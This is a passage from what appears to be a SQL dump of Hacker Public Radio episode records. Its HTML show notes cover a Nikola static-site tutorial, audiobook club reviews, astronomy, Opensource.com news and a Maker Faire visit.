your site with blog post. Savour the moment - you have just created your first blog post. Note all the generated files you would upload to your webhost are in the output folder.<br /> Ok so thats great but I want to add pages and have it in my navigation window Ok lets do that.</p><pre>\nnikola new_post -p\n</pre> Enter a name for it and press Enter. In my case I created MyPage <p>It tells you your page is in the stories directory and shows you how it named the file. In my case its mypage.rst<br /> Open that in a text editor and compose the page - save it when complete.<br /> So that would be great but its not showing up in your navigation yet. You need to put that in your conf.py file.<br /> Open conf.py in a text editor, look for NAVIGATION_LINKS. Observe how the existing pages are linked and follow that format. Here is how I would add mypage: (/stories/mypage.html, MyPage), any page you create will show up in stories so dont forget to put that in the path.</p><pre>\nNAVIGATION_LINKS = {\n    DEFAULT_LANG: (\n        (\"/archive.html\", \"Archive\"),\n        (\"/categories/index.html\", \"Tags\"),\n        (\"/rss.xml\", \"RSS feed\"),\n        (\"/stories/mypage.html\", \"MyPage\"),\n    ),\n}\n</pre><p>Save that and rebuild your site.<br /> NOTE:: As of Today Nikola v7.0.1 requires a special command to include the new pages in navigation. This has been fixed in git but currently you must issue:</p><pre>\nnikola build -a\nnikola serve -b \n</pre><p>Now you are viewing it - nice work - you have a page now.<br /> This site seems a bit plain, how can I theme it? Glad that you asked - issue this command.</p><pre>\nnikola bootswatch_theme -n custom_theme -s slate -p bootstrap3\n</pre><p>Now you have set it to use the slate bootswatch theme. Review the bootswatch themes on: <a href=\"https://bootswatch.com/\">https://bootswatch.com/</a><br /> In order to let Nikola know to use this new theme you need to edit the conf.py file and look for THEME and change the value from bootstrap3 to custom_theme.<br /> Now issue these commands at the command line to view the changes:</p><pre>\nnikola build\nnikola serve -b \n</pre><p>You can modify the themes to your liking and there is guidance on changing the theme on the nikola website.<br /> There are ways to depoly your site via rsync or ftp commands in the conf.py file. There are also other things you can set in the conf file such as google analytics, add an embeded duckduckgo or google search engine, specify options for the image galleries etc.<br /> More things you can do to spify up your posts / pages are to do with using shortcode like sytax for ReStructuredText. You can embed soundcloud, youtube videos etc - here is a list of these: <a href=\"https://getnikola.com/handbook.html#restructuredtext-extensions\">https://getnikola.com/handbook.html#restructuredtext-extensions</a></p>\n <p>I hope this helps you get started on using Nikola and hope you enjoy using it as much as I do. If you have questions or comments, find me in the oggcastplanet.net irc chat room on freenode, or go to <a href=\"https://stevebaer.com\">https://stevebaer.com</a> click Tags and click HPR and leave a comment on this episodes blog post. Until next time, Cheers!</p>\n <h2>Corrections to this episode provided by Chris Warrick</h2>\n <p><a href=\"https://stevebaer.com/posts/hpr-episode-on-using-the-static-web-site-and-blog-generator-called-nikola.html\">https://stevebaer.com/posts/hpr-episode-on-using-the-static-web-site-and-blog-generator-called-nikola.html</a></p>\n <h3>Some small corrections:</h3>\n <ol>\n  <li>it is recommended to use a virtualenv, `sudo pip` can be dangerous</li>\n  <li>`pip install nikola[extras]` is enough, no need to do both steps</li>\n  <li>new pages can be created with `nikola new_page`, too (both ways are equally supported)</li>\n  <li>\n   <del>missing quotes around \"MyPage\" in example navbar code</del><em>Fixed</em></li>\n  <li>you can get rid of /stories/ if you change PAGES[*][1] from \"stories\" to an empty string.</li>\n  <li>bootswatch themes are not everything, there is also install_theme that uses a more varied collection from https://themes.getnikola.com/</li>\n </ol>',137,0,0,'CC-BY-SA','Nikola,static website,ReStructuredText',0,0,1),
(1604,'2014-09-25','How I Got Into Linux',1096,'I sum up my experience with linux from 0 to 1!','I sum up my experience with linux from 0 to 1!',286,29,1,'CC-BY-SA','windows,Ubuntu,Puppy,Crunchbang,Arch',0,0,1),
(1578,'2014-08-20','AudioBookClub-08-How to Succeed in Evil:The Novel',7213,'The HPR_AudioBookClub reviews How to Succeed in Evil: The Novel by @PatrickEMcLean. ','<p>\r\nIn this episode, the hackerpublicradio.org Audiobook Club reviews How to Succeed in Evil: The Novel by Patrick E. McLean. \r\n</p>\r\n\r\n<ul>\r\n<li>You can download this audiobook for free (or voluntary donation) from <a href=\"https://podiobooks.com/title/how-to-succeed-in-evil-the-novel/\">https://podiobooks.com/title/how-to-succeed-in-evil-the-novel/</a>\r\n</li>\r\n<li>It\'s also available as an ebook on Amazon: <a href=\"https://www.amazon.com/How-Succeed-Evil-Patrick-McLean-ebook/dp/B00589W1DM\">https://www.amazon.com/How-Succeed-Evil-Patrick-McLean-ebook/dp/B00589W1DM</a>\r\n</li>\r\n<li>You can find more content (including podcasts) from Patrick E. Mclean on his websites \r\n-- <a href=\"https://succeedinevil.com/\">https://succeedinevil.com/</a> \r\n-- <a href=\"https://www.patrickemclean.com/\">https://www.patrickemclean.com/</a>\r\n-There is even a promotional comic book  <a href=\"https://www.succeedinevil.com/evilfinalsmall.pdf\">https://www.succeedinevil.com/evilfinalsmall.pdf</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nThree out of four of us liked this book, and we all had some good things to say about it. While it\'s true that this is an entertaining story set in a super hero world, we found it it more amusing and more thought provoking than your average super hero story.\r\n</p>\r\n<p>\r\nAs usual, during this episode of the AudioBookClub the hosts have each reviewed a beverage of their choice.\r\n</p>\r\n\r\n<ul>\r\n<li>pokey drank a Sam Adams Summer Ale <a href=\"https://www.samueladams.com/craft-beers/summer-ale\">https://www.samueladams.com/craft-beers/summer-ale</a>.\r\n</li>\r\n<li>Thaj drank a home brewed Iced Tea <a href=\"https://en.wikipedia.org/wiki/Iced_tea\">https://en.wikipedia.org/wiki/Iced_tea</a> .\r\n</li>\r\n<li>x1101 was drinking 32oz of water from the great tasting state of Maine out of a Nalgene water bottle <a href=\"https://nalgene.com/\">https://nalgene.com/</a> .\r\n</li>\r\n<li>FiftyOneFifty was drinking Jim Beam Rye Whisky <a href=\"https://www.jimbeam.com/other-bourbons\">https://www.jimbeam.com/other-bourbons</a> .\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nOur next audiobook will be Down and Out in the Magic Kingdom by Corey Doctorow <a href=\"https://podiobooks.com/title/down-and-out-in-the-magic-kingdom/\">https://podiobooks.com/title/down-and-out-in-the-magic-kingdom/</a> \r\nOur next book club recording will be 2014/07/15T23:00:00+00:00 (<a href=\"https://en.wikipedia.org/wiki/ISO_8601#Times\">https://en.wikipedia.org/wiki/ISO_8601#Times</a>)\r\nIf you\'d like a Google calendar invite, or if you\'d like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list \'hpr at hackerpublicradio dot org\'\r\n</p>\r\n<p>\r\nThere are several ways to submit feedback for this episode including the HPR mail list <a href=\"mailto:hpr@hackerpublicradio.org\">hpr@hackerpublicradio.org</a>, and the episode\'s comment section\r\n</p>\r\n<p>\r\npokey prefers his feedback to come via the HackerPublicRadio comment system, but is also usually available on StatusNet @pokey/micro.fragdev.com\r\n</p>\r\n<p>\r\nPlease remember to visit the HPR contribution page. We could really use your help right now. <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a>\r\n</p>\r\n<p>\r\nWe had a great time recording this show, and we hope you enjoyed it as well. We hope you\'ll consider joining us next time. Thank you very much for listening.\r\n</p>\r\n<p>\r\nSincerely,\r\nThe HPR_AudioBookClub\r\n</p>\r\n<p>\r\nP.S. Some people enjoy finding mistakes. For their enjoyment, we have included a few.\r\n</p>',157,53,1,'CC-BY-SA','HPR AudioBookClub',0,0,1),
(1583,'2014-08-27','Podcast Generator',223,'Easy software to host a podcast.','<p>\r\nPodcast Generator - Software which can host your podcast and generate all the RSS feeds.\r\n<a href=\"https://podcastgen.sourceforge.net/\">https://podcastgen.sourceforge.net/</a>\r\n</p>\r\n<p>\r\nBlue Drava Podcast - a little show I\'m working on, hosted using the software.\r\n<a href=\"https://podcast.bluedrava.com\">https://podcast.bluedrava.com</a>\r\n</p>',191,0,1,'CC-BY-SA','Podcast, Webapp, PHP',0,0,1),
(1584,'2014-08-28','An interview with Josh Knapp from AnHonestHost.com',3165,'We talk to Josh Knapp about his new business AnHonestHost.com','<p>\r\nFor years our own <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=174\">Josh Knapp</a> has been the real Server Administrator behind Hacker Public Radio, and has been subsidising it out of his own pocket for some time.\r\n</p>\r\n<p>\r\nHe and a few of his colleagues have decided to branch off and set up their own company. AnHonestHost.com is based on a simple idea; Better web hosting that\'s honest and fair.\r\n</p>\r\n<p>\r\nWe discuss the past, the future and how it affects HPR.\r\n</p>',30,78,1,'CC-BY-SA','AnHonestHost.com,shared hosting',0,0,1),
(1587,'2014-09-02','Beginner\'s guide to the night sky 3 - A wee dot on a dark sky',1809,'A ramble about stars, by a geeky chap who resides on planet Earth.','<p>\r\nA ramble about stars, by a geeky chap who resides on planet Earth. This episode\r\nis entitled a wee dot on a dark sky.\r\n</p>\r\n<p>\r\nI comment briefly on why it\'s remarkable\r\nthat the night sky is dark. I then go on to talk about the colour of stars,\r\nwhich we can just perceive with the naked eye. To learn more you need to use\r\na prism, or, as professional astronomers prefer, a diffraction grating to\r\nobtain a spectrum of a star. I talk a little too much about the mathematics\r\nof diffraction gratings but eventually get back to talking about\r\nspectrum of the Sun which in overall shape is very close to what physicists\r\ncall a black body spectrum (<a href=\"https://en.wikipedia.org/wiki/Black_body\">https://en.wikipedia.org/wiki/Black_body</a>)- the spectrum any object will have at a given\r\ntemperature. Astronomers and physicists prefer to measure temperature\r\nin units of kelvin (<a href=\"https://en.wikipedia.org/wiki/Kelvin\">https://en.wikipedia.org/wiki/Kelvin</a>),\r\nand to convert to it you only need to add 273 to the\r\ncelsius temperature. Conversion from Fahrenheit is left as an exercise\r\nto the listener.\r\n</p>\r\n<p>\r\nThe Sun shows spectral lines, specifically dark lines on the broad spectrum\r\ncalled absorptions lines. This is caused by atoms in a cooler layer of gas\r\n(called the chromosphere) that\'s just above the bright surface of the Sun\r\n(called the photosphere). In fact, Helium is named as such because it was\r\nfirst discovered by its absorption lines in the solar spectrum (Helios\r\nis Greek for Sun). Many other elements can be found in the spectrum of\r\nthe Sun and other stars, but most of the mass of all stars is made up\r\nof hydrogen and helium.\r\n</p>\r\n<p>\r\nThe temperature of a star is correlated with colour, with blue stars being\r\nhotter than red stars. This was originally measured by astronomers by\r\nsomething called colour or B-V (B minus V) index.\r\n</p>\r\n<p>\r\nThe luminosity of a star is the rate\r\nat which it emits energy as light, and can be measured in the same units\r\nas light bulbs, i.e. watts (W). But to estimate the luminosity we need\r\nto know the distance to a star which, for nearby stars, can be \r\nfound by the parallax method. By plotting colour index (a proxy\r\nfor temperature) against luminosity we can form a key piece of empirical\r\nevidence - the Hertzsprung Russell diagram: <a href=\"https://en.wikipedia.org/wiki/Hertzsprung%E2%80%93Russell_diagram\">https://en.wikipedia.org/wiki/Hertzsprung%E2%80%93Russell_diagram</a> \r\n</p>\r\n<p>\r\nIt turns out that our nearest star - the Sun - is quite unremarkable. It is neither very hot or cool, nor\r\nvery bright or dim - it\'s a fairly typical star.\r\n</p>',268,0,0,'CC-BY-SA','astronomy,star,hydrogen,helium',0,0,1),
(1588,'2014-09-03','HPR AudioBookClub-09-Down And Out In The Magic Kingdom',8952,'In this episode, the HPR_AudioBookClub reviews Down And Out In The Magic Kingdom by Cory Doctorow.','<h3>SUMMARY</h3>\r\n <p>In this episode, the HPR_AudioBookClub reviews Down And Out In The Magic Kingdom by Cory Doctorow. You can download this AudioBook for free (or voluntary donation) from podiobooks.com. <a href=\"https://podiobooks.com/title/down-and-out-in-the-magic-kingdom/\">https://podiobooks.com/title/down-and-out-in-the-magic-kingdom/</a> and it\'s also available in just about every ebook format you can imagine on Cory\'s website craphound.com. <a href=\"https://craphound.com/down/?page_id=1625\">https://craphound.com/down/?page_id=1625</a> and as a paperback through various booksellers. We found this AudioBook enjoyable and thought provoking. The general consensus that we seem to have reached is that while the book left the reader with many unanswered questions about the world in which the book was set, they are welcome questions. It\'s brain bending fun.</p>\r\n <p>FiftyOneFifty (the link-king) found some cool links relating to the Haunted House and how it works. Check these out!</p>\r\n <ul>\r\n  <li>The website <a href=\"https://www.doombuggies.com\">www.doombuggies.com</a> is a tribute to Disney\'s Haunted Mansion.</li>\r\n  <li>A History video with the original designers on YouTube. <a href=\"https://www.youtube.com/watch?v=S9Bu89gS4jE\">https://www.youtube.com/watch?v=S9Bu89gS4jE</a></li>\r\n  <li>A behind the scenes look at the mansion on YouTube. <a href=\"https://www.youtube.com/watch?v=Eqv1M9oJsT4\">https://www.youtube.com/watch?v=Eqv1M9oJsT4</a></li>\r\n </ul>\r\n <p>gigasphere wrote in to say,</p>\r\n <blockquote>I listened to this book in the space of a couple of days mostly. At first it took some time to get into but then was quite enjoyable, however in the second half I started to find it a bit hard going. The story is told exclusively in the first person (I think that\'s right) and as the story went on I found it quite difficult not having external points of view or reference. This is probably also due to good story telling as the main Character Jules is also getting frustrated and is increasingly isolated. The book was interesting and unique even before you got to the plot line and aspects of the world the characters were living in. I would recommend the book as an example of an interesting method of story telling and I\'m keen to pick up the other big Cory Doctorow book, \"Little Brother\".</blockquote>\r\n <p>gigasphere\'s spoilers (Highlight to read)</p>\r\n <blockquote>\r\n  <p style=\"background-color:#4d4d4d\">From having read the wikipedia page on Cory I can see that Down and Out in the Magic Kingdom, which is Cory\'s first novel, seems to have a trademark extrapolation with our own reality. The concept of backing up you mind and being brought back from the dead in a clone seems an excellent example of hyper-our-reality at the moment, but to then have everyone capable of being online using implants is also amazingly realistic when you consider the almost boom in wearables going on and the ubiquity of smartphones. I am reminded of the xkcd comic where the guy was having a USB port implanted.<br /><a href=\"https://xkcd.com/644/\">https://xkcd.com/644/</a><br />The whuffie aspect of the book which replaces money, reminds me a lot of the social media thing of being rated by how many \'followers\' or \'likes\' or may be even \'hits\' you get. This also oddly reminds me of the download stats discussion on the mailing list at the moment.<br />I\'m not sure I\'ll add much to the overall discussion of the book from here as my no spoiler summary really rounds up the book for me. I would have liked to have a broader telling of the story, particularly from Lil\'s perspective, but the restrictions placed on the story also work to make it great, in that you are forced, as in real life, to view the world through only one person\'s eyes.</p>\r\n </blockquote>\r\n <h3>BEVERAGE REVIEWS</h3>\r\n <p>We think you\'ll agree that the HPR_AudioBookClub really showed up for this one and they brought some all-star beverages. Please enjoy this episode responsibly.</p>\r\n <ul>\r\n  <li>x1101 just wanted to make us all jealous. He brought a Lagunitas Imperial Stout to our little party and enjoyed it as much as any of us would have.<br /><a href=\"https://lagunitas.com/beers/imperial-stout/\">https://lagunitas.com/beers/imperial-stout/</a></li>\r\n  <li>FiftyOneFifty was slightly disappointed by his German style Doublebock, FIREMAN\'S BREW: Brunette. He says it\'s an unprepossessing brew, but perhaps worth it for fans of beer made with chocolate malts. Not very sweet for a dopplebock, and without much hops note except for a slight spicy kick, despite a general thinness in the flavor, it has enough cocoa flavor to satisfy fans of beers made with chocolate malt, at least until they find a better one.<br /><a href=\"https://www.firemansbrew.com/offdutydrinks-brunette\">https://www.firemansbrew.com/offdutydrinks-brunette</a></li>\r\n  <li>The planets aligned and dictated that Semioticrobotic bring his favorite tea, Ginger Twist by Mighty Leaf, to our little show. It\'s a zippy but soothing herbal tea (technically, then, a tisane) that combines strong ginger flavors with lemon-grass and mint.<br /><a href=\"https://www.mightyleaf.com/product/ginger-twist-herbal-tea-pouches/\">https://www.mightyleaf.com/product/ginger-twist-herbal-tea-pouches/</a></li>\r\n  <li>pokey\'s limited run microbrew, Saison du Buff, is a collaboration between three breweries; Dogfish Head Ales, Stone Brewing Co., and Victory Brewing Company. It can be purchased from any of the three, and if you\'re lucky enough to find some you should do exactly that. pokey described it as a little spicy, very complex and really enjoyable. Big thumbs up.<br /><a href=\"https://www.dogfish.com/brews-spirits/the-brews/collaborations/Saison-du-BUFF.htm\">https://www.dogfish.com/brews-spirits/the-brews/collaborations/Saison-du-BUFF.htm</a><br /><a href=\"https://www.stonebrewing.com/collab/saisondubuff/\">https://www.stonebrewing.com/collab/saisondubuff/</a><br /><a href=\"https://www.victorybeer.com/news/victorys-2012-saison-du-buff-available-mid-april/\">https://www.victorybeer.com/news/victorys-2012-saison-du-buff-available-mid-april/</a></li>\r\n  <li>pegwole was worshiping at the porcelain vessel. No, not THAT porcelain vessel... The good one. The one that\'s used to serve Coffee!<br /><a href=\"https://en.wikipedia.org/wiki/Coffee\">https://en.wikipedia.org/wiki/Coffee</a></li>\r\n  <li>This month gigasphere wrote in to say,<br />\"It\'s hot over here in the UK South East at the moment (25-30 degrees Celsius, yes that\'s hot for here!) and I\'m swamped with work so I have a really boring Apple and Elderflower Juice for my drink this month. I have an Ale on the shelf that I haven\'t tried before but will save that for next time round when I should have a more manageable workload. On the plus side my juice is really cold and refreshing with a really strong and pleasant flavour (sic)<sup>2</sup>. It\'s a fresh juice and so has been kept refrigerated. Now everyone can stop laughing<sup>1</sup> at me and get back to their proper drinks!\"<br /><a href=\"https://www.copellafruitjuices.co.uk/juices\">https://www.copellafruitjuices.co.uk/juices</a></li>\r\n  <li>Rather than simply reviewing a beverage like the rest of us, Thaj (attention seeker that he is) risked his life on the show by ingesting a potentially lethal amount of Dihydrogen Monoxide! The HPR_AudioBookClub does not condone this type of risky behavior, and if you are entertained by it, then you\'re probably a bad person.<br /><a href=\"https://www.dhmo.org/facts.html\">https://www.dhmo.org/facts.html</a></li>\r\n </ul>\r\n <h3>OUR NEXT <i>TWO</i> AUDIOBOOKS</h3>\r\n <p>Revolution Radio by Seth Kenlon<br /><a href=\"https://aesdiopod.com/books/\">https://aesdiopod.com/books/</a></p>\r\n <p>AND</p>\r\n <p>Street Candles by David Collins-Rivera<br /><a href=\"https://www.cavalcadeaudio.com/stardrifter.html\">https://www.cavalcadeaudio.com/stardrifter.html</a></p>\r\n <p>We\'re really excited about these two AudioBooks because both of these authors are HPR community members! We\'re assigning both at once because one is pretty short, and one is pretty long. We were a little worried that people might not finish Street Candles in time to participate, and we think this scheme may buy participants the time they they/we need.</p>\r\n <p>Seth Kenlon\'s personal profile page: <a href=\"https://seth.kenlon.usesthis.com/\">https://seth.kenlon.usesthis.com/</a><br /> Seth Kenlon\'s HPR correspondent page: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\">https://hackerpublicradio.org/correspondents.php?hostid=78</a></p>\r\n <p>David Collins-Rivera\'s personal blog: <a href=\"https://www.cavalcadeaudio.com/index.html\">https://www.cavalcadeaudio.com/index.html</a><br /> David Collins-Rivera\'s HPR correspondent page: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\">https://hackerpublicradio.org/correspondents.php?hostid=107</a></p>\r\n <h3>NEXT RECORDING</h3>\r\n <p>Our next book club recording will be 2014/08/12T23:00:00+00:00. <a href=\"https://en.wikipedia.org/wiki/ISO_8601#Times\">https://en.wikipedia.org/wiki/ISO_8601#Times</a> If you\'d like a Google calendar invite, or if you\'d like to be on the HPR_AudioBookClub mailing list, please get in contact with us on the HPR mailing list \'hpr at hackerpublicradio dot org\'</p>\r\n <h3>FEEDBACK</h3>\r\n <p>Thank you very much for listening to this episode of the HPR_AudioBookClub. We had a great time recording this show, and we hope you enjoyed it as well. We also hope you\'ll consider joining us next time. Please leave a few words in the episode\'s comment section.<br /> As always; remember to visit the HPR contribution page HPR could really use your help right now.</p>\r\n <p><a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a></p>\r\n <p>Sincerely,<br /> The HPR_AudioBookClub</p>\r\n <p>P.S. Some people really like finding mistakes. For their enjoyment, we always include a few.</p>\r\n <p>1: The HPR_AudioBookClub doesn\'t laugh at anyone for reviewing tea, nor any other drink. We intentionally call the segment a \"beverage review,\" not a \"beer review\" so that no one should feel alienated. Also because some of us drink wine.</p>\r\n <p>2: The HPR_AudioBookClub <i>does</i> laugh when people try to spell flavor with a \"u\"</p>',157,53,1,'CC-BY-SA','HPR AudioBookClub',0,0,1),
(1644,'2014-11-20','Opensource.com: Benetech, OpenStack and Kumusha',954,'Benetech CEO opens up, the challenge of OpenStack product management, and Kumusha Takes Wiki.','<h1>In this episode</h1>\r\n\r\n<h2>Open source product development most effective when social</h2>\r\n<p>Benetech started out in the 90s without even understanding the meaning of the term <em>open source</em>. They just \"needed an easy way to interface with different voice synthesizers\" to develop readers for people who are blind and \"shared the code to be helpful.\"</p>\r\n<p></p>\r\n<p>Sound familiar? Opensource.com started covering stories like in 2010 and they recur more often than you might think. Stories of people sharing the code to help others—but sharing code to get help developing better code. When code is open, a community has the opportunity to form around it.</p>\r\n<p>Read this interview about what Benetech CEO Jim Fruchterman learned by adopting open source philosophy and furthering technology-for-good. <br />\r\nRead more: \r\n<a href=\"https://opensource.com/business/14/7/interview-jim-fruchterman-benetech\">https://opensource.com/business/14/7/interview-jim-fruchterman-benetech</a></p>\r\n\r\n<h2>OpenStack product management: wisdom or folly?</h2>\r\n<p>Two recent, excellent, blog posts have touched on a topic I\'ve been wrestling with since May\'s OpenStack Summit: What is the role of the Product Management function, if any, in the OpenStack development process?</p>\r\n<!--break--><p> The first article, \"<a href=\"https://h30499.www3.hp.com/t5/Grounded-in-the-Cloud/Calling-all-User-Landians-to-lead-OpenStack-above-the-cloud/ba-p/6514194#.U8gVpHVdVN1\" target=\"_blank\" title=\"OpenStack above the cloud\">Calling all \'User Landians\' to lead OpenStack above the cloud</a>,\" by Evan Scheessele, talks about the \"real user\" of OpenStack—those people that need to deliver a solution that brings some sort of value to their organization. The other article, \"<a href=\"https://robhirschfeld.com/2014/07/01/hidden-influencers/\" target=\"_blank\" title=\"Who\'s in charge here?\">Who\'s In Charge Here Anyway?…</a>,\" by Rob Hirschfeld, speaks to the dynamics of how decisions—which OpenStack features are in in or out—get made in the OpenStack ecosystem.<br />\r\nRead more: <a href=\"https://opensource.com/business/14/7/openstack-product-management-wisdom-or-folly\">https://opensource.com/business/14/7/openstack-product-management-wisdom-or-folly</a></p>\r\n\r\n<h2>Giving Sub-Saharan African communities an online presence</h2>\r\n<p>People in Sub-Saharan Africa face hurdles to get online. Despite some progress, the region lags behind in Internet connectivity due to the high costs of service and poor infrastructure, according to a <a href=\"https://wef.ch/gitr14\" target=\"_blank\">recent World Economic Forum report</a>.</p>\r\n<!--break--><p></p>\r\n<p>This digital divide means some African communities are underrepresented on the web. Without a well-developed online presence, misinformation about them can spread relatively unchallenged.<br />\r\nRead more: <a href=\"https://opensource.com/life/14/7/giving-sub-saharan-african-communities-online-presence\">https://opensource.com/life/14/7/giving-sub-saharan-african-communities-online-presence</a>\r\n</p>',280,28,0,'CC-BY-SA','Benetech,OpenStack',0,0,1),
(1591,'2014-09-08','The Ultimate Cooking Device',1539,'Using a Weber grill to cook all your food.','<p>\r\nUsing a Weber grill to cook all your food.\r\n</p>\r\n\r\n<ul>\r\n<li>Weber Grills: <a href=\"https://weber.com\">https://weber.com</a>\r\n</li>\r\n<li>Basic Grill Model: <a href=\"https://www.weber.com/grills/series/one-touch/one-touch-silver-225\">https://www.weber.com/grills/series/one-touch/one-touch-silver-225</a>\r\n</li>\r\n<li>Chimney: <a href=\"https://store.weber.com/accessories/category/cook/1466\">https://store.weber.com/accessories/category/cook/1466</a>\r\n</li>\r\n<li>Lighter Cubes: <a href=\"https://store.weber.com/accessories/category/cook/1324\">https://store.weber.com/accessories/category/cook/1324</a>\r\n</li>\r\n<li>Grate for use with a Wok: <a href=\"https://store.weber.com/accessories/category/cook/cookware/1390\">https://store.weber.com/accessories/category/cook/cookware/1390</a>\r\n</li>\r\n<li><a href=\"https://alphageeks.libsyn.com/\">https://alphageeks.libsyn.com/</a>\r\n</ul>',134,93,1,'CC-BY-SA','cooking,grill',0,0,1),
(1589,'2014-09-04','KC MakerFair 2014',2749,'A rundown on all the cool things to see at the KC MakerFair 2014','<p>Mr. Gadgets calls in another show and this time he has been to Kansas City Maker Faire.</p>\n <p>Maker Faire: Kansas City celebrates things people create themselves — from new technology and electronic gizmos to urban farming and “slow-made” foods to homemade clothes, quilts and sculptures. This family-friendly event demonstrates what and how people are inventing, making and creating. It brings together Makers, Crafters, Inventors, Hackers, Scientists and Artists for a faire full of fun and inspiration.</p>\n <h3>Links</h3>\n <ul>\n  <li><a href=\"https://makerfairekc.com\">https://makerfairekc.com</a></li>\n  <li><a href=\"https://Q3DPrinter.com\">https://Q3DPrinter.com</a></li>\n  <li><a href=\"https://Tiny-Circuits.com\">https://Tiny-Circuits.com</a></li>\n  <li><a href=\"https://tinyurl.com/voltset\">https://tinyurl.com/voltset</a></li>\n  <li><a href=\"https://www.kcohg.org\">https://www.kcohg.org</a></li>\n  <li><a href=\"https://www.kumoconnect.com\">https://www.kumoconnect.com</a></li>\n  <li><a href=\"https://www.mynerd.com\">https://www.mynerd.com</a></li>\n  <li><a href=\"https://www.nerdbots.net\">https://www.nerdbots.net</a></li>\n  <li><a href=\"https://www.omahamakergroup.org\">https://www.omahamakergroup.org</a></li>\n  <li><a href=\"https://www.openkansas.us\">https://www.openkansas.us</a></li>\n  <li><a href=\"https://www.etsy.com/shop/SteamTimeJewelry\">https://www.etsy.com/shop/SteamTimeJewelry</a></li>\n  <li><a href=\"https://www.tappecue.com\">https://www.tappecue.com</a></li>\n </ul>',155,0,1,'CC-BY-SA','maker faire,Kansas City',0,0,1),
(1614,'2014-10-09','An Open Source News Break from Opensource.com',1265,'K-12 computer education, Karen Sandler on open source identity crisis, ChickTech\'s outreach efforts','<p>\r\nIn this episode: An open-minded curriculum for K-12 computer education, Karen Sandler on open source\'s \"identity crisis,\" ChickTech\'s outreach efforts.\r\n</p>\r\n<h3>\r\nLinks:\r\n</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://opensource.com/education/14/7/internet-safety-classroom-education\">https://opensource.com/education/14/7/internet-safety-classroom-education</a>\r\n</li>\r\n<li><a href=\"https://www.youtube.com/watch?v=f8Co37GO2Fc\">https://www.youtube.com/watch?v=f8Co37GO2Fc</a>\r\n</li>\r\n<li><a href=\"https://insights.ubuntu.com/2014/03/25/an-ubuntu-pc-for-everyone-in-penn-manor-school-district-pennsylvania-usa/\">https://insights.ubuntu.com/2014/03/25/an-ubuntu-pc-for-everyone-in-penn-manor-school-district-pennsylvania-usa/</a>\r\n</li>\r\n<li><a href=\"https://www.pennmanor.net/techblog/?p=1847#jp-carousel-1860\">https://www.pennmanor.net/techblog/?p=1847#jp-carousel-1860</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/7/interview-karen-sandler-software-freedom-conservancy\">https://opensource.com/life/14/7/interview-karen-sandler-software-freedom-conservancy</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/life/14/7/girls-skills-are-needed-tech\">https://opensource.com/life/14/7/girls-skills-are-needed-tech</a>\r\n</li>\r\n</ul>',280,28,0,'CC-BY-SA','K-12 computer education,open source,ChickTech',0,0,1),
(1622,'2014-10-21','An interview with Michael Tiemann',3668,'An Open Source News Break from Opensource.com: An interview with Michael Tiemann','<h3>Links</h3>\r\n\r\n<ul>\r\n<li><a href=\"https://www.redhat.com/about/company/management/bios/management-team-michael-tiemann-bio\">https://www.redhat.com/about/company/management/bios/management-team-michael-tiemann-bio</a>\r\n</li>\r\n<li><a href=\"https://opensource.com/resources/ebook/open-always-wins\">https://opensource.com/resources/ebook/open-always-wins</a>\r\n</li>\r\n<li><a href=\"https://heathbrothers.com/books/switch/\">https://heathbrothers.com/books/switch/</a>	\r\n</li>\r\n<li><a href=\"https://www.summary.com/book-reviews/_/The-Only-Sustainable-Edge/\">https://www.summary.com/book-reviews/_/The-Only-Sustainable-Edge/</a>\r\n</li>\r\n</ul>\r\n',280,28,1,'CC-BY-SA','interview,open source',0,0,1),
(1626,'2014-10-27','Opensource.com: Recalling OSCON 2014.',1301,'The Opensource.com team recalls its experience at OSCON 2014','<h1>In this episode: Recalling OSCON 2014.</h1>\n <h2>18 interviews with speakers of upcoming OSCON 2014</h2>\n <p>The O\'Reilly Open Source Convention—or <a href=\"https://www.oscon.com/oscon2014\" target=\"_blank\">OSCON</a>, as it\'s popularly known—is one of the world\'s premier open source events. For more than a decade, open-minded developers, innovators, and business people have gathered for this weeklong event, which explores cutting edge developments in the open source ecosystem. This year, Opensource.com visited OSCON, held July 20–July 24 at the Oregon Convention Center in Portland, OR (USA).</p>\n <p>Read more: <a href=\"https://opensource.com/business/14/7/speaker-interview-series-oscon-2014\">https://opensource.com/business/14/7/speaker-interview-series-oscon-2014</a></p>\n <h2>Open source talks: OSCON 2014 speaker interviews</h2>\n <p>Eagerly awaiting another year of open source wonders, the Opensource.com community caught up with a handful of notable OSCON speakers to gather behind-the-scenes stories about their passions for open source. Our eBook book collects the <a href=\"https://opensource.com/business/14/7/speaker-interview-series-oscon-2014\" target=\"_blank\">interviews we conducted</a>.</p>\n <p>Read more: <a href=\"https://opensource.com/resources/oscon-2014-interviews\">https://opensource.com/resources/oscon-2014-interviews</a></p>\n <h2>Keynotes from OSCON 2014 Day 1</h2>\n <p>Our own <a href=\"https://opensource.com/users/jhibbets\" target=\"_blank\">Jason Hibbets</a> and <a href=\"https://opensource.com/users/jen-wike\" target=\"_blank\">Jen Wike</a> were live blogging from OSCON 2014! Day 1 talks include:</p>\n <ul>\n  <li>Shadaj Laddad: The wonders of programming</li>\n  <li>Making a difference through open source</li>\n  <li>Wendy Chisholm: Introvert? Extrovert? Klingon? We\'ve got you covered.</li>\n  <li>Bringing OpenStack based cloud to the enterprise</li>\n  <li>Will Marshall: Building an API for the planet with a new approach to satellites</li>\n </ul>\n <br /> Read more: <a href=\"https://opensource.com/life/14/7/oscon-2014\">https://opensource.com/life/14/7/oscon-2014</a><h2>Keynotes from OSCON 2014 Day 2</h2>\n <p>We\'re back with keynote coverage on Day 2 of OSCON 2014! Day 2 talks include:</p>\n <ul>\n  <li>Tim Bray: Threats</li>\n  <li>Racing Change: Accelerating Innovation Through Radical Transparency</li>\n  <li>Simon Wardly: Anticipating the futurean introduction to value chain mapping</li>\n  <li>Checking Your Privilege: A How-To for Hard Things Leslie Hawthorn 